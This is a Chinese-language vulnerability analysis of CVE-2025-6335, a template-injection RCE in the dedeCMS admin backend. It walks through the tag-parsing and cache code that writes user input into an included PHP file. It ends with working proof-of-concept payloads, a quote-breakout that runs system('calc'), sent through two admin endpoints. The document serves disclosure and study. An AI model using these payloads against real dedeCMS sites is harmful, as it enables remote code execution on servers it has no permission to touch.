CVE-2025-6335-dedeCMS后台模板注入RCE

LoadSource()

在/include/dedetag.class.php的DedeTagParse类下有两个函数LoadSourceLoadString

image-20250619222215737

实际上LoadString调用的就是LoadSource

这个类是专门用来解析dedeCMS独有标签的一个类

这里可以通过直接传入可控字符串去让dede解析,所以导致了最后的SSTI

这里首先创建了一个缓存文件用于存放我们的模板,将我们输入的str写入

LoadTemplate()

接着从我们的缓存文件去解析模板

image-20250619222710142

这里不会走进LoadCache(),因为dede并没有处理我们的模板并解析创建一个模板文件

于是从文件中读取我们刚刚写入的模板,存入属性SourceString中,走进ParseTemplet()

ParseTemplet()

1
2
3
4
5
6
7
8
9
10
function ParseTemplet()
{

....

if($this->IsCache)
{
$this->SaveCache();
}
}

这里将处理我们模板中的文本和标签的过程省略了,他实际上做的是把模板参加然后把标签和对应的文本存入$ctag数组中

直接进入SaveCache()

SaveCache()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
function SaveCache()
{
$fp = fopen($this->CacheFile.'.txt',"w");
fwrite($fp,$this->TempMkTime."\n");
fclose($fp);
$fp = fopen($this->CacheFile,"w");
flock($fp,3);
fwrite($fp,'<'.'?php'."\r\n");
$errmsg = '';
if(is_array($this->CTags))
{
foreach($this->CTags as $tid=>$ctag)
{
$arrayValue = 'Array("'.$ctag->TagName.'",';
if (!$this->CheckDisabledFunctions($ctag->InnerText, $errmsg)) {
fclose($fp);
@unlink($this->taghashfile);
@unlink($this->CacheFile);
@unlink($this->CacheFile.'.txt');
die($errmsg);
}
$arrayValue .= '"'.str_replace('$','\$',str_replace("\r","\\r",str_replace("\n","\\n",str_replace('"','\"',str_replace("\\","\\\\",$ctag->InnerText))))).'"';
$arrayValue .= ",{$ctag->StartPos},{$ctag->EndPos});";
fwrite($fp,"\$z[$tid]={$arrayValue}\n");
if(is_array($ctag->CAttribute->Items))
{
foreach($ctag->CAttribute->Items as $k=>$v)
{
$v = str_replace("\\","\\\\",$v);
$v = str_replace('"',"\\".'"',$v);
$v = str_replace('$','\$',$v);
$k = trim(str_replace("'","",$k));
if($k=="")
{
continue;
}
if($k!='tagname')
{
fwrite($fp,"\$z[$tid][4]['$k']=\"$v\";\n");
}
}
}
}
}
fwrite($fp,"\n".'?'.'>');
fclose($fp);
}

如上述所说,这里把刚刚从文件中解析的内容存入Ctag中再把他按照一定的格式写入,可以注意到,这里其实写入的是一个php文件

这时我们在/data/tplcache中可以看见这三个文件

image-20250619223238740

第一个就是将我们输入的str写入的模板文件,第二个就是解析出来写入的php文件,第三个是模板文件的更新时间

于是我们回到LoadTemplate()

image-20250619223615847

这回就会进入到我们的LoadCache()方法中了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
function LoadCache($filename)
{
global $cfg_tplcache,$cfg_tplcache_dir;
if(!$this->IsCache)
{
echo "not cache!";
return FALSE;
}
$cdir = dirname($filename);
$cachedir = DEDEROOT.$cfg_tplcache_dir;
//echo $cachedir;
//$cachedir = DEDEINC;
$ckfile = str_replace($cdir,'',$filename).substr(md5($filename),0,16).'.inc';
$ckfullfile = $cachedir.'/'.$ckfile;
$ckfullfile_t = $cachedir.'/'.$ckfile.'.txt';
$this->CacheFile = $ckfullfile;
$this->TempMkTime = filemtime($filename);
if(!file_exists($ckfullfile)||!file_exists($ckfullfile_t))
{
echo "not file";
//system("calc");
return FALSE;
}

//检测模板最后更新时间
$fp = fopen($ckfullfile_t,'r');
$time_info = trim(fgets($fp,64));
fclose($fp);
if($time_info != $this->TempMkTime)
{
//system("calc");
return FALSE;
}

//引入缓冲数组
include($this->CacheFile);
...
}

最后这里就会直接包含我们的模板文件了

所以我们把重心放在dedeCMS是如何将我们传入的字符串到php文件的这一转换过程就够了

这是dedeCMS比较核心的一个功能,我们随便点击一个界面,就可能看到我们的缓存目录下重现了上述过程

输入的字符串

image-20250620002334413

渲染成的PHP文件

image-20250620002353756

在官方文档中可以找到关于标签的详细介绍

DedeCMS内容标签 | 织梦DedeCMS帮助中心

在源码中也可以看到标签的固定格式

image-20250620003657228

1
{dede:ewoji/}

会渲染成

image-20250620003800692

这里可以通过双引号闭合来实现写入恶意代码

比如

1
{dede:ewoji");system('calc');///}

image-20250620004252131

再执行一次即可

image-20250620004310760

寻找可控点

上面提到,如果LoadString或者LoadSource函数的内容可控,我们就可以直接RCE,所以我们全局搜索这两个函数

随便找就可以找到可以控制点

1
/dede/co_get_corule.php?notes={dede:ewoji");system('calc');///}&job=1

1
2
3
POST /dede/tag_test_action.php

dopost=make&partcode={dede:ewoji");system('calc');///}&typeid=0&Submit=提交测试

实际上可以控制的点很多,包括前台的一些功能,和开启会员功能后/member下的一些功能,这里没仔细看,只随便找了后台的两个点就结束了

大部分可以传入LoadSource函数的字符串都是从数据库查询而来,或许可以通过sql注入来实现组合拳,还有待挖掘